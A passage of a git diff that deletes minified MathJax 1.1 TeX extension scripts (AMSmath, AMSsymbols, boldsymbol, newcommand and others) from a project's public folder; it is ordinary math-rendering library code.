Ready"],["loadComplete",e,"[MathJax]/extensions/MathZoom.js"])})(MathJax.Hub,MathJax.HTML,MathJax.Ajax,MathJax.OutputJax["HTML-CSS"],MathJax.OutputJax.NativeMML);
-
diff --git a/public/MathJax/extensions/TeX/AMSmath.js b/public/MathJax/extensions/TeX/AMSmath.js
deleted file mode 100644
index 1d1eb818..00000000
--- a/public/MathJax/extensions/TeX/AMSmath.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/AMSmath.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var e="1.1";var a=MathJax.ElementJax.mml;var f=MathJax.InputJax.TeX;var c=f.Definitions;var d=f.Stack.Item;var b=function(g){return g.join("em ")+"em"};MathJax.Hub.Insert(c,{macros:{mathring:["Accent","2DA"],nobreakspace:"Tilde",negmedspace:["Spacer",a.LENGTH.NEGATIVEMEDIUMMATHSPACE],negthickspace:["Spacer",a.LENGTH.NEGATIVETHICKMATHSPACE],intI:["Macro","\\mathchoice{\\!}{}{}{}\\!\\!\\int"],iiiint:["MultiIntegral","\\int\\intI\\intI\\intI"],idotsint:["MultiIntegral","\\int\\cdots\\int"],dddot:["Macro","\\mathop{#1}\\limits^{\\textstyle \\mathord{.}\\mathord{.}\\mathord{.}}",1],ddddot:["Macro","\\mathop{#1}\\limits^{\\textstyle \\mathord{.}\\mathord{.}\\mathord{.}\\mathord{.}}",1],sideset:["Macro","\\mathop{\\mathop{\\rlap{\\phantom{#3}}}\\nolimits#1\\!\\mathop{#3}\\nolimits#2}",3],boxed:["Macro","\\fbox{$\\displaystyle{#1}$}",1],tag:"HandleTag",notag:"HandleNoTag",substack:["Macro","\\begin{subarray}{c}#1\\end{subarray}",1],injlim:["Macro","\\mathop{\\rm inj\\,lim}"],projlim:["Macro","\\mathop{\\rm proj\\,lim}"],varliminf:["Macro","\\mathop{\\underline{\\rm lim}}"],varlimsup:["Macro","\\mathop{\\overline{\\rm lim}}"],varinjlim:["Macro","\\mathop{\\underrightarrow{\\rm lim\\Rule{-1pt}{0pt}{1pt}}\\Rule{0pt}{0pt}{.45em}}"],varprojlim:["Macro","\\mathop{\\underleftarrow{\\rm lim\\Rule{-1pt}{0pt}{1pt}}\\Rule{0pt}{0pt}{.45em}}"],DeclareMathOperator:"HandleDeclareOp",operatorname:"HandleOperatorName",genfrac:"Genfrac",frac:["Genfrac","","","",""],tfrac:["Genfrac","","","",1],dfrac:["Genfrac","","","",0],binom:["Genfrac","(",")","0em",""],tbinom:["Genfrac","(",")","0em",1],dbinom:["Genfrac","(",")","0em",0],cfrac:"CFrac",shoveleft:["HandleShove",a.ALIGN.LEFT],shoveright:["HandleShove",a.ALIGN.RIGHT],xrightarrow:["xArrow",8594,5,6],xleftarrow:["xArrow",8592,7,3]},environment:{align:["AMSarray",null,true,true,"rlrlrlrlrlrl",b([5/18,2,5/18,2,5/18,2,5/18,2,5/18,2,5/18])],"align*":["AMSarray",null,false,true,"rlrlrlrlrlrl",b([5/18,2,5/18,2,5/18,2,5/18,2,5/18,2,5/18])],multline:["Multline",null,true],"multline*":["Multline",null,false],split:["AMSarray",null,false,false,"rl",b([5/18])],gather:["AMSarray",null,true,true,"c"],"gather*":["AMSarray",null,false,true,"c"],alignat:["AlignAt",null,true,true],"alignat*":["AlignAt",null,false,true],alignedat:["AlignAt",null,false,false],aligned:["Array",null,null,null,"rlrlrlrlrlrl",b([5/18,2,5/18,2,5/18,2,5/18,2,5/18,2,5/18]),".5em","D"],gathered:["Array",null,null,null,"c",null,".5em","D"],subarray:["Array",null,null,null,null,b([0,0,0,0]),"0.1em","S",1],smallmatrix:["Array",null,null,null,"c",b([1/3]),".2em","S",1]},delimiter:{"\\lvert":["2223",{texClass:a.TEXCLASS.OPEN}],"\\rvert":["2223",{texClass:a.TEXCLASS.CLOSE}],"\\lVert":["2225",{texClass:a.TEXCLASS.OPEN}],"\\rVert":["2225",{texClass:a.TEXCLASS.CLOSE}]}});f.Parse.Augment({HandleTag:function(h){var g=this.trimSpaces(this.GetArgument(h));if(g==="*"){g=this.GetArgument(h)}else{g="("+g+")"}if(this.stack.global.notag){f.Error(h+" not allowed in "+this.stack.global.notag+" environment")}if(this.stack.global.tag){f.Error("Multiple "+h)}this.stack.global.tag=a.mtd.apply(a,this.InternalMath(g))},HandleNoTag:function(g){if(this.stack.global.tag){delete this.stack.global.tag}},HandleDeclareOp:function(h){var g="";var i=this.trimSpaces(this.GetArgument(h));if(i=="*"){g="\\limits";i=this.trimSpaces(this.GetArgument(h))}if(i.charAt(0)=="\\"){i=i.substr(1)}var j=this.GetArgument(h);j=j.replace(/\*/g,"\\text{*}").replace(/-/g,"\\text{-}");f.Definitions.macros[i]=["Macro","\\mathop{\\rm "+j+"}"+g]},HandleOperatorName:function(h){var g="\\nolimits";var i=this.trimSpaces(this.GetArgument(h));if(i=="*"){g="\\limits";i=this.trimSpaces(this.GetArgument(h))}i=i.replace(/\*/g,"\\text{*}").replace(/-/g,"\\text{-}");this.string="\\mathop{\\rm "+i+"}"+g+" "+this.string.slice(this.i);this.i=0},HandleShove:function(h,g){var i=this.stack.Top();if(i.type!=="multline"||i.data.length){f.Error(h+" must come at the beginning of the line")}i.data.shove=g},CFrac:function(j){var g=this.trimSpaces(this.GetBrackets(j)),i=this.GetArgument(j),k=this.GetArgument(j);var h=a.mfrac(f.Parse("\\strut\\textstyle{"+i+"}",this.stack.env).mml(),f.Parse("\\strut\\textstyle{"+k+"}",this.stack.env).mml());g=({l:a.ALIGN.LEFT,r:a.ALIGN.RIGHT,"":""})[g];if(g==null){f.Error("Illegal alignment specified in "+j)}if(g){h.numalign=h.denomalign=g}this.Push(h)},Genfrac:function(h,j,o,l,g){if(j==null){j=this.GetDelimiterArg(h)}else{j=this.convertDelimiter(j)}if(o==null){o=this.GetDelimiterArg(h)}else{o=this.convertDelimiter(o)}if(l==null){l=this.GetArgument(h)}if(g==null){g=this.trimSpaces(this.GetArgument(h))}var k=this.ParseArg(h);var n=this.ParseArg(h);var i=a.mfrac(k,n);if(l!==""){i.linethickness=l}if(j||o){i=a.mfenced(i).With({open:j,close:o})}if(g!==""){var m=(["D","T","S","SS"])[g];if(m==null){f.Error("Bad math style for "+h)}i=a.mstyle(i);if(m==="D"){i.displaystyle=true;i.scriptlevel=0}else{i.displaystyle=false;i.scriptlevel=g-1}}this.Push(i)},Multline:function(h,g){this.Push(h);return d.multline().With({arraydef:{displaystyle:true,rowspacing:".5em",width:f.config.MultLineWidth,columnwidth:"100%",side:f.config.TagSide,minlabelspacing:f.config.TagIndent}})},AMSarray:function(i,h,g,k,j){this.Push(i);k=k.replace(/[^clr]/g,"").split("").join(" ");k=k.replace(/l/g,"left").replace(/r/g,"right").replace(/c/g,"center");return d.AMSarray(i.name,h,g,this.stack).With({arraydef:{displaystyle:true,rowspacing:".5em",columnalign:k,columnspacing:(j||"1em"),rowspacing:"3pt",side:f.config.TagSide,minlabelspacing:f.config.TagIndent}})},AlignAt:function(i,h,g){var j=this.GetArgument("\\begin{"+i.name+"}");if(j.match(/[^0-9]/)){f.Error("Argument to \\begin{"+i.name+"} must me a positive integer")}align="";spacing=[];while(j>0){align+="rl";spacing.push("0em 0em");j--}spacing=spacing.join(" ");if(g){return this.AMSarray(i,h,g,align,spacing)}return this.Array(i,null,null,align,spacing,".5em","D")},MultiIntegral:function(g,k){var j=this.GetNext();if(j==="\\"){var h=this.i;j=this.GetArgument(g);this.i=h;if(j==="\\limits"){if(g==="\\idotsint"){k="\\!\\!\\mathop{\\,\\,"+k+"}"}else{k="\\!\\!\\!\\mathop{\\,\\,\\,"+k+"}"}}}this.string=k+" "+this.string.slice(this.i);this.i=0},xArrow:function(i,m,k,g){var j={width:"+"+(k+g)+"mu",lspace:k+"mu"};var n=this.GetBrackets(i),o=this.ParseArg(i);var p=a.mo(a.chars(String.fromCharCode(m))).With({stretchy:true,texClass:a.TEXCLASS.REL});var h=a.munderover(p);h.SetData(h.over,a.mpadded(o).With(j).With({voffset:".15em"}));if(n){n=f.Parse(n,this.stack.env).mml();h.SetData(h.under,a.mpadded(n).With(j).With({voffset:"-.24em"}))}this.Push(h)},GetDelimiterArg:function(g){var h=this.trimSpaces(this.GetArgument(g));if(h==""){return null}if(!c.delimiter[h]){f.Error("Missing or unrecognized delimiter for "+g)}return this.convertDelimiter(h)}});d.multline=d.array.Subclass({type:"multline",EndEntry:function(){var g=a.mtd.apply(a,this.data);if(this.data.shove){g.columnalign=this.data.shove}this.row.push(g);this.data=[]},EndRow:function(){if(this.row.length!=1){f.Error("multline rows must have exactly one column")}this.table.push(this.row);this.row=[]},EndTable:function(){this.SUPER(arguments).EndTable.call(this);if(this.table.length){var h=this.table.length-1,j;if(!this.table[0][0].columnalign){this.table[0][0].columnalign=a.ALIGN.LEFT}if(!this.table[h][0].columnalign){this.table[h][0].columnalign=a.ALIGN.RIGHT}var g=a.mtr;if(this.global.tag){this.table[0]=[this.global.tag].concat(this.table[0]);delete this.global.tag;g=a.mlabeledtr}this.table[0]=g.apply(a,this.table[0]);for(j=1,h=this.table.length;j<h;j++){this.table[j]=a.mtr.apply(a,this.table[j])}}}});d.AMSarray=d.array.Subclass({type:"AMSarray",Init:function(j,i,h,g){this.SUPER(arguments).Init.apply(this);this.numbered=i;this.save_notag=g.global.notag;g.global.notag=(h?null:j)},EndRow:function(){var g=a.mtr;if(this.global.tag){this.row=[this.global.tag].concat(this.row);g=a.mlabeledtr;delete this.global.tag}this.table.push(g.apply(a,this.row));this.row=[]},EndTable:function(){this.SUPER(arguments).EndTable.call(this);this.global.notag=this.save_notag}});d.start.Augment({oldCheckItem:d.start.prototype.checkItem,checkItem:function(h){if(h.type==="stop"){var g=this.mmlData();if(this.global.tag){var j=[this.global.tag,a.mtd(g)];delete this.global.tag;var i={side:f.config.TagSide,minlabelspacing:f.config.TagIndent,columnalign:g.displayAlign};if(g.displayAlign===a.INDENTALIGN.LEFT){i.width="100%";if(g.displayIndent&&!String(g.displayIndent).match(/^0+(\.0*)?($|[a-z%])/)){i.columnwidth=g.displayIndent+" fit";i.columnspacing="0";j=[j[0],a.mtd(),j[1]]}}else{if(g.displayAlign===a.INDENTALIGN.RIGHT){i.width="100%";if(g.displayIndent&&!String(g.displayIndent).match(/^0+(\.0*)?($|[a-z%])/)){i.columnwidth="fit "+g.displayIndent;i.columnspacing="0";j[2]=a.mtd()}}}g=a.mtable(a.mlabeledtr.apply(a,j)).With(i)}return d.mml(g)}return this.SUPER(arguments).checkItem.call(this,h)}});MathJax.Hub.Startup.signal.Post("TeX AMSmath Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/AMSmath.js");
-
diff --git a/public/MathJax/extensions/TeX/AMSsymbols.js b/public/MathJax/extensions/TeX/AMSsymbols.js
deleted file mode 100644
index 5a339693..00000000
--- a/public/MathJax/extensions/TeX/AMSsymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/AMSsymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var b="1.1.2";var a=MathJax.ElementJax.mml;MathJax.Hub.Insert(MathJax.InputJax.TeX.Definitions,{mathchar0mi:{digamma:"03DD",varkappa:"03F0",varGamma:["0393",{mathvariant:a.VARIANT.ITALIC}],varDelta:["0394",{mathvariant:a.VARIANT.ITALIC}],varTheta:["0398",{mathvariant:a.VARIANT.ITALIC}],varLambda:["039B",{mathvariant:a.VARIANT.ITALIC}],varXi:["039E",{mathvariant:a.VARIANT.ITALIC}],varPi:["03A0",{mathvariant:a.VARIANT.ITALIC}],varSigma:["03A3",{mathvariant:a.VARIANT.ITALIC}],varUpsilon:["03A5",{mathvariant:a.VARIANT.ITALIC}],varPhi:["03A6",{mathvariant:a.VARIANT.ITALIC}],varPsi:["03A8",{mathvariant:a.VARIANT.ITALIC}],varOmega:["03A9",{mathvariant:a.VARIANT.ITALIC}],beth:"2136",gimel:"2137",daleth:"2138",backprime:["2035",{variantForm:true}],hslash:["210F",{variantForm:true}],varnothing:["2205",{variantForm:true}],blacktriangle:"25B2",triangledown:"25BD",blacktriangledown:"25BC",square:"25A1",Box:"25A1",blacksquare:"25A0",lozenge:"25CA",Diamond:"25CA",blacklozenge:"29EB",circledS:["24C8",{mathvariant:a.VARIANT.NORMAL}],bigstar:"2605",sphericalangle:"2222",measuredangle:"2221",nexists:"2204",complement:"2201",mho:"2127",eth:["00F0",{mathvariant:a.VARIANT.NORMAL}],Finv:"2132",diagup:"2571",Game:"2141",diagdown:"2572",Bbbk:["006B",{mathvariant:a.VARIANT.DOUBLESTRUCK}],yen:"00A5",circledR:"00AE",checkmark:"2713",maltese:"2720"},mathchar0mo:{dotplus:"2214",ltimes:"22C9",smallsetminus:["2216",{variantForm:true}],rtimes:"22CA",Cap:"22D2",doublecap:"22D2",leftthreetimes:"22CB",Cup:"22D3",doublecup:"22D3",rightthreetimes:"22CC",barwedge:"22BC",curlywedge:"22CF",veebar:"22BB",curlyvee:"22CE",doublebarwedge:"2A5E",boxminus:"229F",circleddash:"229D",boxtimes:"22A0",circledast:"229B",boxdot:"22A1",circledcirc:"229A",boxplus:"229E",centerdot:"22C5",divideontimes:"22C7",intercal:"22BA",leqq:"2266",geqq:"2267",leqslant:"2A7D",geqslant:"2A7E",eqslantless:"2A95",eqslantgtr:"2A96",lesssim:"2272",gtrsim:"2273",lessapprox:"2A85",gtrapprox:"2A86",approxeq:"224A",lessdot:"22D6",gtrdot:"22D7",lll:"22D8",llless:"22D8",ggg:"22D9",gggtr:"22D9",lessgtr:"2276",gtrless:"2277",lesseqgtr:"22DA",gtreqless:"22DB",lesseqqgtr:"2A8B",gtreqqless:"2A8C",doteqdot:"2251",Doteq:"2251",eqcirc:"2256",risingdotseq:"2253",circeq:"2257",fallingdotseq:"2252",triangleq:"225C",backsim:"223D",thicksim:["223C",{variantForm:true}],backsimeq:"22CD",thickapprox:"2248",subseteqq:"2AC5",supseteqq:"2AC6",Subset:"22D0",Supset:"22D1",sqsubset:"228F",sqsupset:"2290",preccurlyeq:"227C",succcurlyeq:"227D",curlyeqprec:"22DE",curlyeqsucc:"22DF",precsim:"227E",succsim:"227F",precapprox:"2AB7",succapprox:"2AB8",vartriangleleft:"22B2",lhd:"22B2",vartriangleright:"22B3",rhd:"22B3",trianglelefteq:"22B4",unlhd:"22B4",trianglerighteq:"22B5",unrhd:"22B5",vDash:"22A8",Vdash:"22A9",Vvdash:"22AA",smallsmile:"2323",shortmid:["2223",{variantForm:true}],smallfrown:"2322",shortparallel:["2225",{variantForm:true}],bumpeq:"224F",between:"226C",Bumpeq:"224E",pitchfork:"22D4",varpropto:"221D",backepsilon:"220D",blacktriangleleft:"25C0",blacktriangleright:"25B6",therefore:"2234",because:"2235",eqsim:"2242",vartriangle:["25B3",{variantForm:true}],Join:"22C8",nless:"226E",ngtr:"226F",nleq:"2270",ngeq:"2271",nleqslant:["2A87",{variantForm:true}],ngeqslant:["2A88",{variantForm:true}],nleqq:["2270",{variantForm:true}],ngeqq:["2271",{variantForm:true}],lneq:"2A87",gneq:"2A88",lneqq:"2268",gneqq:"2269",lvertneqq:["2268",{variantForm:true}],gvertneqq:["2269",{variantForm:true}],lnsim:"22E6",gnsim:"22E7",lnapprox:"2A89",gnapprox:"2A8A",nprec:"2280",nsucc:"2281",npreceq:["22E0",{variantForm:true}],nsucceq:["22E1",{variantForm:true}],precneqq:"2AB5",succneqq:"2AB6",precnsim:"22E8",succnsim:"22E9",precnapprox:"2AB9",succnapprox:"2ABA",nsim:"2241",ncong:"2246",nshortmid:["2224",{variantForm:true}],nshortparallel:["2226",{variantForm:true}],nmid:"2224",nparallel:"2226",nvdash:"22AC",nvDash:"22AD",nVdash:"22AE",nVDash:"22AF",ntriangleleft:"22EA",ntriangleright:"22EB",ntrianglelefteq:"22EC",ntrianglerighteq:"22ED",nsubseteq:"2288",nsupseteq:"2289",nsubseteqq:["2288",{variantForm:true}],nsupseteqq:["2289",{variantForm:true}],subsetneq:"228A",supsetneq:"228B",varsubsetneq:["228A",{variantForm:true}],varsupsetneq:["228B",{variantForm:true}],subsetneqq:"2ACB",supsetneqq:"2ACC",varsubsetneqq:["2ACB",{variantForm:true}],varsupsetneqq:["2ACC",{variantForm:true}],leftleftarrows:"21C7",rightrightarrows:"21C9",leftrightarrows:"21C6",rightleftarrows:"21C4",Lleftarrow:"21DA",Rrightarrow:"21DB",twoheadleftarrow:"219E",twoheadrightarrow:"21A0",leftarrowtail:"21A2",rightarrowtail:"21A3",looparrowleft:"21AB",looparrowright:"21AC",leftrightharpoons:"21CB",rightleftharpoons:["21CC",{variantForm:true}],curvearrowleft:"21B6",curvearrowright:"21B7",circlearrowleft:"21BA",circlearrowright:"21BB",Lsh:"21B0",Rsh:"21B1",upuparrows:"21C8",downdownarrows:"21CA",upharpoonleft:"21BF",upharpoonright:"21BE",downharpoonleft:"21C3",restriction:"21BE",multimap:"22B8",downharpoonright:"21C2",leftrightsquigarrow:"21AD",rightsquigarrow:"21DD",leadsto:"21DD",dashrightarrow:"21E2",dashleftarrow:"21E0",nleftarrow:"219A",nrightarrow:"219B",nLeftarrow:"21CD",nRightarrow:"21CF",nleftrightarrow:"21AE",nLeftrightarrow:"21CE"},delimiter:{"\\ulcorner":"250C","\\urcorner":"2510","\\llcorner":"2514","\\lrcorner":"2518"},macros:{implies:["Macro","\\;\\Longrightarrow\\;"],impliedby:["Macro","\\;\\Longleftarrow\\;"]}});var c=a.mo.OPTYPES.REL;MathJax.Hub.Insert(a.mo.prototype,{OPTABLE:{infix:{"\u2322":c,"\u2323":c,"\u25B3":c,"\uE006":c,"\uE007":c,"\uE00C":c,"\uE00D":c,"\uE00E":c,"\uE00F":c,"\uE010":c,"\uE011":c,"\uE016":c,"\uE017":c,"\uE018":c,"\uE019":c,"\uE01A":c,"\uE01B":c,"\uE04B":c,"\uE04F":c}}})});MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var a=MathJax.OutputJax["HTML-CSS"];var b=a.FONTDATA.VARIANT;if(a.fontInUse==="TeX"){b["-TeX-variant"]={fonts:["MathJax_AMS","MathJax_Main","MathJax_Size1"],remap:{8808:57356,8809:57357,8816:57361,8817:57358,10887:57360,10888:57359,8740:57350,8742:57351,8840:57366,8841:57368,8842:57370,8843:57371,10955:57367,10956:57369,988:57352,1008:57353}};if(a.msieIE6){MathJax.Hub.Insert(b["-TeX-variant"].remap,{8592:[58049,"-WinIE6"],8594:[58048,"-WinIE6"],8739:[58050,"-WinIE6"],8741:[58051,"-WinIE6"],8764:[58052,"-WinIE6"],9651:[58067,"-WinIE6"]})}}if(a.fontInUse==="STIX"){MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c=MathJax.InputJax.TeX.Definitions;c.mathchar0mi.varnothing="2205";c.mathchar0mi.hslash="210F";c.mathchar0mi.blacktriangle="25B4";c.mathchar0mi.blacktriangledown="25BE";c.mathchar0mi.square="25FB";c.mathchar0mi.blacksquare="25FC";c.mathchar0mi.vartriangle=["25B3",{mathsize:"71%"}];c.mathchar0mi.triangledown=["25BD",{mathsize:"71%"}];c.mathchar0mo.blacktriangleleft="25C2";c.mathchar0mo.blacktriangleright="25B8";c.mathchar0mo.smallsetminus="2216";MathJax.Hub.Insert(b["-STIX-variant"],{remap:{10887:57360,10888:57359,8816:57361,8817:57358,8928:57419,8929:57423,8840:57366,8841:57368}})})}MathJax.Hub.Startup.signal.Post("TeX AMSsymbols Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/AMSsymbols.js");
-
diff --git a/public/MathJax/extensions/TeX/HTML.js b/public/MathJax/extensions/TeX/HTML.js
deleted file mode 100644
index 05f149d3..00000000
--- a/public/MathJax/extensions/TeX/HTML.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/HTML.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var b="1.1";var c=MathJax.InputJax.TeX;var a=c.Definitions;a.macros.href="HREF_attribute";a.macros["class"]="CLASS_attribute";a.macros.style="STYLE_attribute";a.macros.cssId="ID_attribute";c.Parse.Augment({HREF_attribute:function(f){var e=this.GetArgument(f),d=this.GetArgumentMML(f);this.Push(d.With({href:e}))},CLASS_attribute:function(e){var f=this.GetArgument(e),d=this.GetArgumentMML(e);if(d["class"]!=null){f=d["class"]+" "+f}this.Push(d.With({"class":f}))},STYLE_attribute:function(e){var f=this.GetArgument(e),d=this.GetArgumentMML(e);if(d.style!=null){if(f.charAt(f.length-1)!==";"){f+=";"}f=d.style+" "+f}this.Push(d.With({style:f}))},ID_attribute:function(f){var e=this.GetArgument(f),d=this.GetArgumentMML(f);this.Push(d.With({id:e}))},GetArgumentMML:function(e){var d=this.ParseArg(e);if(d.inferred&&d.data.length==1){d=d.data[0]}else{delete d.inferred}return d}});MathJax.Hub.Startup.signal.Post("TeX HTML Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/HTML.js");
-
diff --git a/public/MathJax/extensions/TeX/autobold.js b/public/MathJax/extensions/TeX/autobold.js
deleted file mode 100644
index 8af040cc..00000000
--- a/public/MathJax/extensions/TeX/autobold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/autobold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var b="1.1";var c=MathJax.InputJax.TeX;var a=c.prefilterMath;c.prefilterMath=function(g,h,e){var f=e.parentNode.insertBefore(document.createElement("span"),e);f.visibility="hidden";f.style.fontFamily="Times, serif";f.appendChild(document.createTextNode("ABCXYZabcxyz"));var d=f.offsetWidth;f.style.fontWeight="bold";if(f.offsetWidth==d){g="\\bf {"+g+"}"}f.parentNode.removeChild(f);return a.call(c,g,h,e)};MathJax.Hub.Startup.signal.Post("TeX autobold Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/autobold.js");
-
diff --git a/public/MathJax/extensions/TeX/boldsymbol.js b/public/MathJax/extensions/TeX/boldsymbol.js
deleted file mode 100644
index e6b929f1..00000000
--- a/public/MathJax/extensions/TeX/boldsymbol.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/boldsymbol.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml;var e=MathJax.InputJax.TeX;var b=e.Definitions;var d={};d[a.VARIANT.NORMAL]=a.VARIANT.BOLD;d[a.VARIANT.ITALIC]=a.VARIANT.BOLDITALIC;d[a.VARIANT.FRAKTUR]=a.VARIANT.BOLDFRAKTUR;d[a.VARIANT.SCRIPT]=a.VARIANT.BOLDSCRIPT;d[a.VARIANT.SANSSERIF]=a.VARIANT.BOLDSANSSERIF;d["-tex-caligraphic"]="-tex-caligraphic-bold";d["-tex-oldstyle"]="-tex-oldstyle-bold";b.macros.boldsymbol="Boldsymbol";e.Parse.Augment({mmlToken:function(g){if(this.stack.env.boldsymbol){var f=g.Get("mathvariant");if(f==null){g.mathvariant=a.VARIANT.BOLD}else{g.mathvariant=(d[f]||f)}}return g},Boldsymbol:function(i){var f=this.stack.env.boldsymbol,g=this.stack.env.font;this.stack.env.boldsymbol=true;this.stack.env.font=null;var h=this.ParseArg(i);this.stack.env.font=g;this.stack.env.boldsymbol=f;this.Push(h)}})});MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var a=MathJax.OutputJax["HTML-CSS"];var c=a.FONTDATA.FONTS;var b=a.FONTDATA.VARIANT;if(a.fontInUse==="TeX"){c["MathJax_Caligraphic-bold"]="Caligraphic/Bold/Main.js";b["-tex-caligraphic-bold"]={fonts:["MathJax_Caligraphic-bold","MathJax_Main-bold","MathJax_Main","MathJax_Math","MathJax_Size1"],offsetA:65,variantA:"bold-italic"};b["-tex-oldstyle-bold"]={fonts:["MathJax_Caligraphic-bold","MathJax_Main-bold","MathJax_Main","MathJax_Math","MathJax_Size1"]};if(a.msieCheckGreek&&a.Font.testFont({family:"MathJax_Greek",weight:"bold",style:"italic",testString:a.msieCheckGreek})){b["bold-italic"].offsetG=913;b["bold-italic"].variantG="-Greek-Bold-Italic";b["-Greek-Bold-Italic"]={fonts:["MathJax_Greek-bold-italic"]};c["MathJax_Greek-bold-italic"]="Greek/BoldItalic/Main.js"}if(MathJax.Hub.Browser.isChrome&&!MathJax.Hub.Browser.versionAtLeast("5.0")){b["-tex-caligraphic-bold"].remap={84:[58096,"-WinChrome"]}}}else{if(a.fontInUse==="STIX"){b["-tex-caligraphic-bold"]={fonts:["STIXGeneral-bold-italic","STIXNonUnicode-bold-italic","STIXNonUnicode","STIXGeneral","STIXSizeOneSym"],offsetA:57927,noLowerCase:1};b["-tex-oldstyle-bold"]={fonts:["STIXGeneral-bold","STIXNonUnicode-bold","STIXGeneral","STIXSizeOneSym"],offsetN:57955,remap:{57956:57959,57957:57963,57958:57967,57959:57971,57960:57975,57961:57979,57962:57983,57963:57987,57964:57991}}}}MathJax.Hub.Startup.signal.Post("TeX boldsymbol Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/boldsymbol.js");
-
diff --git a/public/MathJax/extensions/TeX/mathchoice.js b/public/MathJax/extensions/TeX/mathchoice.js
deleted file mode 100644
index fff8adf9..00000000
--- a/public/MathJax/extensions/TeX/mathchoice.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/mathchoice.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml;var d=MathJax.InputJax.TeX;var b=d.Definitions;b.macros.mathchoice="MathChoice";d.Parse.Augment({MathChoice:function(f){var i=this.ParseArg(f),e=this.ParseArg(f),g=this.ParseArg(f),h=this.ParseArg(f);this.Push(a.TeXmathchoice(i,e,g,h))}});a.TeXmathchoice=a.mbase.Subclass({type:"TeXmathchoice",choice:function(){var e=this.getValues("displaystyle","scriptlevel");if(e.scriptlevel>0){return Math.min(3,e.scriptlevel+1)}return(e.displaystyle?0:1)},setTeXclass:function(e){return this.Core().setTeXclass(e)},isSpacelike:function(){return this.Core().isSpacelike()},isEmbellished:function(){return this.Core().isEmbellished()},Core:function(){return this.data[this.choice()]},toHTML:function(e){e=this.HTMLcreateSpan(e);e.bbox=this.Core().toHTML(e).bbox;return e}});MathJax.Hub.Startup.signal.Post("TeX mathchoice Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/mathchoice.js");
-
diff --git a/public/MathJax/extensions/TeX/newcommand.js b/public/MathJax/extensions/TeX/newcommand.js
deleted file mode 100644
index 06aa258c..00000000
--- a/public/MathJax/extensions/TeX/newcommand.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/newcommand.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var b="1.1";var c=MathJax.InputJax.TeX;var a=c.Definitions;MathJax.Hub.Insert(a,{macros:{newcommand:"NewCommand",renewcommand:"NewCommand",newenvironment:"NewEnvironment",def:"MacroDef"}});c.Parse.Augment({NewCommand:function(d){var e=this.trimSpaces(this.GetArgument(d)),g=this.trimSpaces(this.GetBrackets(d)),f=this.GetArgument(d);if(g===""){g=null}if(e.charAt(0)==="\\"){e=e.substr(1)}if(!e.match(/^(.|[a-z]+)$/i)){c.Error("Illegal control sequence name for "+d)}if(g!=null&&!g.match(/^[0-9]+$/)){c.Error("Illegal number of parameters specified in "+d)}a.macros[e]=["Macro",f,g]},NewEnvironment:function(e){var 